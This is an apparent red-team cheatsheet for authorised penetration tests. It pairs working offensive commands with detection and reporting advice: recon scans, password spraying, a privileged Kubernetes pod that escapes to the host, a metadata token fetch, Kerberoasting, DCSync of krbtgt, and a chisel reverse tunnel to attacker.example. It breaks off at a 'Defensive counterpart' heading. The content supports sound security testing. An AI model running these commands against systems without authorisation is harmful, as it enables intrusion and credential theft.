Red team

Cheatsheet #

Ground rules #

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps — the client’s detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

Reconnaissance #

subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt

Initial access #

# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

Execution and persistence #

# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'

Any cluster that allows that pod should fail its own admission policy review. Test it, capture the result, and check whether the audit log shows it.

Privilege escalation #

linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

IMDSv2 (AWS) requires a token header, which is why an SSRF that reaches metadata on IMDSv1 is a critical finding and the same SSRF on v2 usually is not.

Credential access #

GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-pass

DCSync from anything that is not a domain controller is the single highest-value detection in a Windows environment. Test whether it alerts.

Discovery and lateral movement #

chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

Command and control #

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

Exfiltration testing #

Demonstrate the path with canary data, not with the client’s real data. A file of known marker strings proves the control gap without creating a breach of your own.

Reporting #

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline — which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

Defensive counterpart #

Every technique above has a control worth verifying while you are there: